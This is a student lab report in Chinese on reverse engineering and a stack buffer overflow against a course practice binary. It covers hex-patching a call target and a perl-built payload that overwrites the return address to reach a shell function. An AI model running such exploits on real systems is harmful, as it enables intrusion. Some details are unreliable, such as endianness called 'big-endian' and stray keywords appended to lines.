20145320《網絡對抗》逆向及Bof基礎實踐

1 逆向及Bof基礎實踐說明

1.1 實踐目標

本次實踐的對象是一個名爲pwn20145320的linux可執行文件。linux

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。函數

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。調試

使用兩種方法:code

1.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。對象

2.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。ip

這幾種思路,基本表明現實狀況中的攻擊目標內存

  • (1)運行本來不可訪問的代碼片斷
  • (2)強行修改程序執行流
  • (3)以及注入運行任意代碼。字符串

    1.2 基礎知識

1 直接修改程序機器指令,改變程序執行流程

對目標文件pwn20145320進行反彙編。下面只保留了最核心的幾行代碼。get

root@KaliYL:~#  objdump -d pwn20145320 | more

0804847d <getShell>:
 804847d:   55                      push   %ebp
...
08048491 <foo>:
 8048491:   55                      push   %ebp
...
080484af <main>:
...
80484b5:   e8 d7 ff ff ff          call   8048491 <foo> 
80484ba:   b8 00 00 00 00          mov    $0x0,%eax
...

先看第12行,"call 8048491 "是彙編指令,是說這條指令將調用位於地址8048491處的foo函數;其對應機器指令爲「e8 d7ffffff」,e8即跳轉之意。原本正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但一解釋e8這條指令呢,CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值,input

main函數調用foo,對應機器指令爲「 e8 d7ffffff」,那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff。

下面咱們就修改可執行文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff。

root@KaliYL:~# vi pwn20145320
如下操做是在vi內
1.按ESC鍵
2.輸入以下,將顯示模式切換爲16進制模式
:%!xxd

3.查找要修改的內容
/e8d7
4.找到後先後的內容和反彙編的對比下,確認是地方是正確的
5.修改d7爲c3

6.轉換16進製爲原格式
:%!xxd -r
7.存盤退出vi
:wq
8.再反彙編看一下,call指令是否正確調用getShell

root@KaliYL:~# objdump -d pwn20145320 | more
...
080484af <main>:
80484af:   55                      push   %ebp
80484b0:   89 e5                   mov    %esp,%ebp
80484b2:   83 e4 f0                and    $0xfffffff0,%esp
80484b5:   e8 c3 ff ff ff          call   804847d <getShell>
80484ba:   b8 00 00 00 00          mov    $0x0,%eax

2 經過構造輸入參數,形成BOF攻擊,改變程序執行流

發現該可執行文件正常運行是調用以下函數foo,這個函數有Buffer overflow漏洞

08048491 <foo>:
8048491:   55                      push   %ebp
8048492:   89 e5                   mov    %esp,%ebp
8048494:   83 ec 38                sub    $0x38,%esp
8048497:   8d 45 e4                lea    -0x1c(%ebp),%eax
804849a:   89 04 24                mov    %eax,(%esp)

== 這裏讀入字符串,但系統只預留了?字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址 ==

080484af <main>:
80484af:   55                      push   %ebp
80484b0:   89 e5                   mov    %esp,%ebp
80484b2:   83 e4 f0                and    $0xfffffff0,%esp
80484b5:   e8 d7 ff ff ff          call   8048491 <foo>

==上面的call調用foo,同時在堆棧上壓上返回地址值:80484ba==

3 確認輸入字符串哪幾個字符會覆蓋到返回地址

爲了肯定使用多少個字節纔會使緩衝區溢出,這裏使用暴力破解法,及一個一個字符添加直到出現Segmentation fault字樣。

這裏能夠回答上面的問題是27字節!!

可是咱們的目標是將寄存器%eip的值給覆蓋掉,並不是單純地找到溢出長度!!

這裏使用GDB調試:

root@KaliYL:~# gdb pwn20145320
(gdb) r
Starting program: /root/pwn20145320 
1111111122222222333333334444444455555555
1111111122222222333333334444444455555555

Program received signal SIGSEGV, Segmentation fault.

同時查看每一個寄存器的值,查看的關鍵是寄存器eip的值!

(gdb) info r
...
eip            0x35353535   0x35353535            //注意EIP的值,是ASCII 5
...

再次調試查看是哪一個字符被覆蓋到了eip中:
Start it from the beginning? (y or n) y
Starting program: /root/pwn20145320
1111111122222222333333334444444412345678
1111111122222222333333334444444412345678

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ()
(gdb) info r
eip            0x34333231   0x34333231
eflags         0x10246  [ PF ZF IF RF ]

仔細觀察發現其實圖上已經在詢問eip的值是什麼!

若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給pwn20145320,pwn20145320就會運行getShell。

4 確認用什麼值來覆蓋返回地址

getShell的內存地址是0804847d。

接下來要確認下字節序(這裏是低字節放在高位的大端法),簡單說是輸入11111111222222223333333344444444\x7d\x84\x04\x08。(前面32字節能夠任意輸入)

5 構造輸入字符串

由爲咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。

root@KaliYL:~# perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input

可使用16進制查看指令xxd查看input文件的內容是否如預期。

root@KaliYL:~# xxd input
00000000: 3132 3334 3536 3738 3132 3334 3536 3738  1234567812345678
00000010: 3132 3334 3536 3738 3132 3334 3536 3738  1234567812345678
00000020: 7d84 0408 0a                             }....

而後將input的輸入,經過管道符「|」,做爲pwn20145320的輸入。

root@KaliYL:~# (cat input; cat) | ./pwn20145320

實驗思考與反思

  • 一、第一個實驗是修改call函數調用的函數地址來調用同一文件中的另外一個函數。可是萬一這個可執行文件裏面只有一個函數,並無其餘函數怎麼辦,只能本身注入代碼!並且我感受本身注入代碼的狀況會更多!

  • 二、在緩衝區溢出攻擊中除了使用暴力破解來找緩衝區的大小,假若有能夠計算的方法可能會減小很大的工做量。

相關文章
相關標籤/搜索